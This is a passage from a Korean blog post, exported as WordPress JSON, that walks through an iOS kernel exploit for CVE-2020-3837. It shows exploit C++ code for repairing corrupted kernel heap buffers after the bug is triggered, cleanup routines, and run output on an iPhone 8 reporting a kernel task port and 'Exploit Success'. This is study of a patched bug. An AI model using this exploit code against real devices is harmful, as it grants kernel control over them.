OSArray_objectAtIndex(spray_array, i); \/\/ OSData *\n        uint64_t buffer = OSData_buffer(object);\n        if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize) {   \/\/ check if address that spray_buffer is in\n            printf(&quot;[*] Found corrupted OSData buffer at 0x%llx\\n&quot;, buffer);\n            OSData_setCapacity(object, 0); \/\/ null out the capacity, this buffer was freed &amp; reallocated\n            break;\n        }\n    }\n    \/\/ now we should be able to free this\n    IOSurface_remove_property(spray_buffer_key);\n<\/code><\/pre>\n<h3>24-3. ool_ports_realloc_buffer \uc548\uc815\uc801\uc73c\ub85c free\uc2dc\ud0a4\uac8c \ub9cc\ub4e4\uae30<\/h3>\n<ul>\n<li>24-2 \uacfc\uc815\uacfc \ub3d9\uc77c\ud558\uac8c \uc9c4\ud589\ud574\uc8fc\uba74 \ub41c\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    uint64_t ool_array = address_of_property_key(IOSurfaceRootUserClient, ool_ports_realloc_buffer_key); \/\/ OSArray *\n    capacity = OSArray_getCapacity(ool_array);\n    for (int i = 0; i &lt; capacity; i++) {\n        uint64_t object = OSArray_objectAtIndex(ool_array, i); \/\/ OSData *\n        uint64_t buffer = OSData_buffer(object);\n        if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize) {    \/\/check if address that oolports is in\n            printf(&quot;[*] Found corrupted OSData buffer at 0x%llx\\n&quot;, buffer);\n            OSData_setCapacity(object, 0);\n            break;\n        }\n    }\n    IOSurface_remove_property(ool_ports_realloc_buffer_key);\n<\/code><\/pre>\n<h3>24-4. kfree_buffer\uc758 \uc77c\ubd80\ubd84\uc744 \uc548\uc815\uc801\uc73c\ub85c free\uc2dc\ud0a4\uac8c \ub9cc\ub4e4\uae30<\/h3>\n<ul>\n<li>\uc6b0\ub9ac\ub294 \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc774 \ub178\ub791\uacfc \ucd08\ub85d\ubd80\ubd84\uae4c\uc9c0\ub294 \ud560\ub2f9\ud574\uc81c\ud588\uc73c\uba70,\n\ubcf4\ub77c\uc0c9 \ubd80\ubd84\uc5d0 \ub300\ud55c \ud560\ub2f9\ud574\uc81c\ub97c \ucc98\ub9ac\ud574\uc918\uc57c \ud55c\ub2e4.<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2016.png\" alt=\"image.png\"><\/p>\n<ul>\n<li>\ubd80\ubd84\uc801\uc73c\ub85c \ud574\uc81c\ub41c OSData \ubc84\ud37c\ub4e4\uc744 \uac80\uc0ac\ud574\uc11c, \uac01 \ud398\uc774\uc9c0\uac00 \uc544\uc9c1 \ub9e4\ud551\ub418\uc5b4 \uc788\uace0 \uc6b0\ub9ac\uac00 \uc774\uc804\uc5d0 \ud560\ub2f9\ud55c(\ub9c8\ubc95\uac12 <code>0x4242424242424242<\/code>\uc73c\ub85c \ud45c\uc2dc\ub41c) \ud398\uc774\uc9c0\uc778\uc9c0 <code>VM_FLAGS_FIXED<\/code> \uc635\uc158\uacfc \ud568\uaed8 <code>mach_vm_allocate<\/code> \ud568\uc218\ub85c \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/li>\n<li><code>VM_FLAGS_FIXED<\/code>\ub294 \ud558\ub4dc\ucf54\ub529\ub41c \ucee4\ub110 \uc8fc\uc18c\uc5d0 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc744 \ud560\ub2f9\ud560 \uc218 \uc788\uac8c \ub9cc\ub4e4\uc5b4\uc8fc\uba70, <code>mach_vm_allocate<\/code> \ud568\uc218\uc5d0\uc11c \ud560\ub2f9 \uc2e4\ud328 \uc2dc 0\uc774 \uc544\ub2cc \uac12\uc744 \ubc18\ud658\ud55c\ub2e4.<\/li>\n<li>\ubc1c\uacac\ub418\uba74 \uadf8 \ud398\uc774\uc9c0\ub97c \uc0c8 \ubc84\ud37c \uc2dc\uc791\uc73c\ub85c \uc0bc\uc544 OSData \ubc84\ud37c \ud3ec\uc778\ud130\uc640 <code>capacity<\/code> \uc218\uc815\uc744 \ud1b5\ud574 \ubcf5\uad6c\ud55c\ub2e4.<\/li>\n<li>\ubc1c\uacac\ub418\uc9c0 \uc54a\uc73c\uba74, <code>capacity<\/code>\ub97c 0\uc73c\ub85c \ub9cc\ub4e0\ub2e4.<\/li>\n<li>\uc774\ud6c4\uc5d0\ub294 IOSurface \ud504\ub85c\ud37c\ud2f0 \uc81c\uac70 \ud568\uc218\uc778 <code>IOSurface_remove_property<\/code> \ub97c \ud638\ucd9c\ud558\uc5ec \uc548\uc815\uc801\uc73c\ub85c \ud560\ub2f9\ud574\uc81c\ud560 \uc218 \uc788\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    \/\/ in here only part of the buffer got freed, we don't know how much so the solution is more complex.\n    \/\/ we need to check if each page is mapped and if so check if it was allocated by us and not freed and reallocated by the system.\n    \/\/ when we find a page allocated by us it is safe to assume there won't be more corrupted pages since the corruption is contiguous\n    uint64_t kfree_array = address_of_property_key(IOSurfaceRootUserClient, kfree_buffer_key); \/\/ OSArray *\n    capacity = OSArray_getCapacity(kfree_array);\n    \n    uint64_t start_of_corruption = segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize + 8 * pagesize;\n    \n    for (int i = 0; i &lt; capacity; i++) {\n        uint64_t object = OSArray_objectAtIndex(kfree_array, i); \/\/ OSData *\n        uint64_t buffer = OSData_buffer(object);\n    \n        if (buffer &gt;= start_of_corruption) {\n            uint64_t page = 0;\n            \n            \/\/ 8 pages\n            for (int p = 0; p &lt; 8; p++) {\n                page = buffer + p * pagesize;\n                \n                \/\/ if allocation doesn't work page is mapped, otherwise it's free\n                ret = mach_vm_allocate(new_tfp0, &amp;page, pagesize, VM_FLAGS_FIXED); \/\/ reallocate at same address\n                if (ret) {\n                    uint64_t readval = kread64(page);\n                    if (readval == 0x4242424242424242) {\n                        printf(&quot;[*] Fixing corrupted OSData buffer at 0x%llx\\n&quot;, buffer);\n                        \n                        \/\/ fix it\n                        OSData_setBuffer(object, page);\n                        OSData_setCapacity(object, 8 * pagesize - (uint32_t)(page - buffer));\n                        \n                        \/\/ if we find a non-corrupted buffer stop\n                        goto out;\n                    }\n                    else {\n                        printf(&quot;[*] Part of buffer reallocated by the system, keeping\\n&quot;);\n                    }\n                }\n                else {\n                    kfree(page, pagesize); \/\/ was freed already, so keep it freed\n                }\n            }\n            \n            \/\/ if we've reached this point object is corrupted entirely\n            OSData_setCapacity(object, 0);\n        }\n    }\n    \nout:;\n    IOSurface_remove_property(kfree_buffer_key);\n<\/code><\/pre>\n<h3>24-5. new_tfp0 \ud3ec\ud2b8\ub9cc\uc744 \uc81c\uc678\ud558\uace0 \ubaa8\ub4e0 \ud3ec\ud2b8 \ud574\uc81c \/ IOSurface, IOAccelerator \uc815\ub9ac<\/h3>\n<pre><code class=\"language-cpp\">void IOAccelerator_deinit() {\n    if (IOGraphicsAccelerator2) IOObjectRelease(IOGraphicsAccelerator2);\n    if (IOAccelDevice2Conn) IOServiceClose(IOAccelDevice2Conn);\n    if (IOAccelContext2Client) IOServiceClose(IOAccelContext2Client);\n    \n    IOGraphicsAccelerator2 = 0;\n    IOAccelDevice2Conn = 0;\n    IOAccelContext2Client = 0;\n}\n\nvoid\nIOSurface_deinit() {\n\tIOSurface_initialized = false;\n\tIOSurface_id = 0;\n\tIOServiceClose(IOSurfaceRootUserClient);\n\tIOObjectRelease(IOSurfaceRoot);\n}\n\n...\n\nerr:\n\t\/\/ clean 200 ports\n\tfor (int i = 0; i &lt; port_cnt; i++) {\n        if (ports[i] &amp;&amp; ports[i] != new_tfp0) mach_port_destroy(mach_task_self(), ports[i]);\n    }\n\n    if (data) free(data);\n\t\n#if ENABLE_HELPER\n    term_kexecute();    \/\/helper\n    mach_port_destroy(mach_task_self(), tfp0);\n#endif\n\n\tIOAccelerator_deinit();\n\tIOSurface_deinit();\n\treturn 0;\n}\n<\/code><\/pre>\n<h2>\uc2e4\ud589 \uacb0\uacfc<\/h2>\n<ul>\n<li>\ucee4\ub110 \uba54\ubaa8\ub9ac \ud560\ub2f9\uc601\uc5ed\uc744 \uc27d\uac8c \uc54c\uc544\ubcf4\uae30 \uc704\ud574 <code>ENABLE_HELPER<\/code> \ub9e4\ud06c\ub85c\ub97c 1\ub85c \uc124\uc815\ud568.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">iPhone-8--1201:~ root# CVE-2020-3837\n[*] page size: 0x4000, kr=(os\/kern) successful\n[*] IOSurface_init success, IOSurface_id=0xa\n[i] offsets selected for iOS 12.0.1\nhost: 0x1503\n[*] tfp0: 0x2903\n[*] get_kbase ret: 0, kbase: 0xfffffff00f804000, kslide: 0x8800000\n[*] Doing stage 0 heap setup\n[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02d317048\n[*] saved_ports[1](port=0x2703)'s msgdata_kptr = 0xffffffe02dd57048\n[*] saved_ports[2](port=0x1703)'s msgdata_kptr = 0xffffffe02e74b048\n[*] saved_ports[3](port=0x2603)'s msgdata_kptr = 0xffffffe02f13f048\n[*] saved_ports[4](port=0x1803)'s msgdata_kptr = 0xffffffe02fb33048\n[*] saved_ports[5](port=0x2503)'s msgdata_kptr = 0xffffffe030527048\n[*] saved_ports[6](port=0x1903)'s msgdata_kptr = 0xffffffe0c3ddb048\n[*] saved_ports[7](port=0x1a03)'s msgdata_kptr = 0xffffffe0c489b048\n[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c528f048\n[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5c83048\n[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02d318048\n[*] Doing stage 1 heap setup\n[*] IOSurface's userspaceValueDicts: 0xffffffe003dd1500\n[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4\n[+] Found our 1st sprayed IOSurface data!\n[*] OSDict from userspaceValueDicts[1] = 0xffffffe003dd3b70\n[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0cab1c000\n[*] osdictentry_key = 0xffffffe003f15a40\n[*] osdict_kbuffer = 0xffffffe0043d6c90 -&gt; 0xaabbcc\n[*] try_count: 44317\n[+] command_buffer_shmem_data_kva: 0xffffffe0d5d1c000\n[+] segment_list_shmem_data_kva: 0xffffffe0cfd1c000\n[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0dbd1c000\n[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0dbd3c000\n[*] ool_message_port(port=0x2103)'s msgdata_kptr = 0xffffffe0dbd5c000\n[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4\n[+] Found our 2nd sprayed IOSurface data!\nosdata_in_osarray = 0xffffffe006182b50\nosdata_kbuffer(OSArray[0]) = 0xffffffe0cfb20000\nosdata_in_osarray = 0xffffffe006182df0\nosdata_kbuffer(OSArray[1]) = 0xffffffe0cfb40000\nosdata_in_osarray = 0xffffffe0061811d0\nosdata_kbuffer(OSArray[2]) = 0xffffffe0cfb60000\nosdata_in_osarray = 0xffffffe006182e20\nosdata_kbuffer(OSArray[3]) = 0xffffffe0cfb80000\nosdata_in_osarray = 0xffffffe006183d50\nosdata_kbuffer(OSArray[4]) = 0xffffffe0cfba0000\nosdata_in_osarray = 0xffffffe006181170\nosdata_kbuffer(OSArray[5]) = 0xffffffe0cfbc0000\nosdata_in_osarray = 0xffffffe006182160\nosdata_kbuffer(OSArray[6]) = 0xffffffe0cfbe0000\nosdata_in_osarray = 0xffffffe006180bd0\nosdata_kbuffer(OSArray[7]) = 0xffffffe0cfc00000\nosdata_in_osarray = 0xffffffe0061830f0\nosdata_kbuffer(OSArray[8]) = 0xffffffe0cfc20000\nosdata_in_osarray = 0xffffffe0061821f0\nosdata_kbuffer(OSArray[9]) = 0xffffffe0cfc40000\nosdata_in_osarray = 0xffffffe006181d10\nosdata_kbuffer(OSArray[10]) = 0xffffffe0cfc60000\nosdata_in_osarray = 0xffffffe006182190\nosdata_kbuffer(OSArray[11]) = 0xffffffe0cfc80000\nosdata_in_osarray = 0xffffffe006182220\nosdata_kbuffer(OSArray[12]) = 0xffffffe0cfca0000\nosdata_in_osarray = 0xffffffe0061820a0\nosdata_kbuffer(OSArray[13]) = 0xffffffe0cfcc0000\nosdata_in_osarray = 0xffffffe006182100\nosdata_kbuffer(OSArray[14]) = 0xffffffe0cfce0000\nosdata_in_osarray = 0xffffffe006182070\nosdata_kbuffer(OSArray[15]) = 0xffffffe0dbd7c000\n[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 3, capacity 4\n[+] Found our 3rd sprayed IOSurface data!\n[*] osarray_count = 0x280, osarray_capacity = 0x280, osarray_array = 0xffffffe00528c800\n\n=================== Overall Info ===================\nseglist =                   0xffffffe0cfd1c000\ncmdbuf =                    0xffffffe0d5d1c000\nipc_kmsg =                  0xffffffe0dbd1c000\nipc_kmsg2(FREED) =          0xffffffe0dbd3c000\n[*] spray_buffer =          0xffffffe0dbd3c000\noolports =                  0xffffffe0dbd5c000\nkfree_buffer =              0xffffffe0dbd7c000\n====================================================\n\n[*] ts for corrupting ipc_kmsg's ikm_size = 0x25b997ce2\n[*] Original ipc_kmsg's ikm_size: 0x1ffa8\n[*] Triggering bug with 7 bytes\n[*] Corruption worked?\n[*] Corrupted ipc_kmsg's ikm_size: 0x25b9983\n[*] Freed kmsg\n[+] ikm_header leak: 0xffffffe0dbd44028\n[+] Segment list calculated to be at: 0xffffffe0cfd1c000\n[+] fakeport: 0x2007\n[+] Leaked port: 0xffffffe002796fe8\n[+] Got kernel read\n[+] Our task port: 0xffffffe00419dc38\n[+] Updated port for tfp0!\n[*] Allocated: 0xffffffe0000d0000\n[*] Read back: 0x4141414141414141\n[*] Creating safer port\n[*] Testing new tfp0 port\n[+] tfp0: 0x1f03\n[*] Allocated: 0xffffffe0000d4000\n[*] Read back: 0x4141414141414141\n[*] getExternalTrapForIndex_func = 0xfffffff00fdedc34\n[*] Kernel base: 0xfffffff00f804000\n[-] Cleaning up...\n[*] Found corrupted OSData buffer at 0xffffffe0dbd3c000\n[*] Found corrupted OSData buffer at 0xffffffe0dbd5c000\n[*] Fixing corrupted OSData buffer at 0xffffffe0de2bc000\n[+] Exploit Success\n\niPhone-8--1201:~ root# \n<\/code><\/pre>\n<h2><strong>\ucc38\uace0 \uc790\ub8cc \ubc0f \ucd9c\ucc98<\/strong><\/h2>\n<ul>\n<li>Exploit Code\n<ul>\n<li>oob_timestamp.zip &#8211; <a href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42451084\">https:\/\/project-zero.issues.chromium.org\/issues\/42451084<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/jakeajames\/time_waste\">https:\/\/github.com\/jakeajames\/time_waste<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/staturnzz\/chimera_patch\/tree\/main\/src\">https:\/\/github.com\/staturnzz\/chimera_patch\/tree\/main\/src<\/a><\/li>\n<\/ul>\n<\/li>\n<li>Writeup\n<ul>\n<li><a href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42451084\">https:\/\/project-zero.issues.chromium.org\/issues\/42451084<\/a><\/li>\n<li><a href=\"https:\/\/googleprojectzero.blogspot.com\/2020\/07\/one-byte-to-rule-them-all.html\">https:\/\/googleprojectzero.blogspot.com\/2020\/07\/one-byte-to-rule-them-all.html<\/a><\/li>\n<li><a href=\"https:\/\/googleprojectzero.blogspot.com\/2020\/06\/a-survey-of-recent-ios-kernel-exploits.html\">https:\/\/googleprojectzero.blogspot.com\/2020\/06\/a-survey-of-recent-ios-kernel-exploits.html<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4. https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2020-3837<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[72],"tags":[35,11,12,13,70,25],"class_list":["post-3968","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-heap","tag-ios","tag-ios-kernel","tag-macos","tag-oob","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3968","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3968"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3968\/revisions"}],"predecessor-version":[{"id":3970,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3968\/revisions\/3970"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}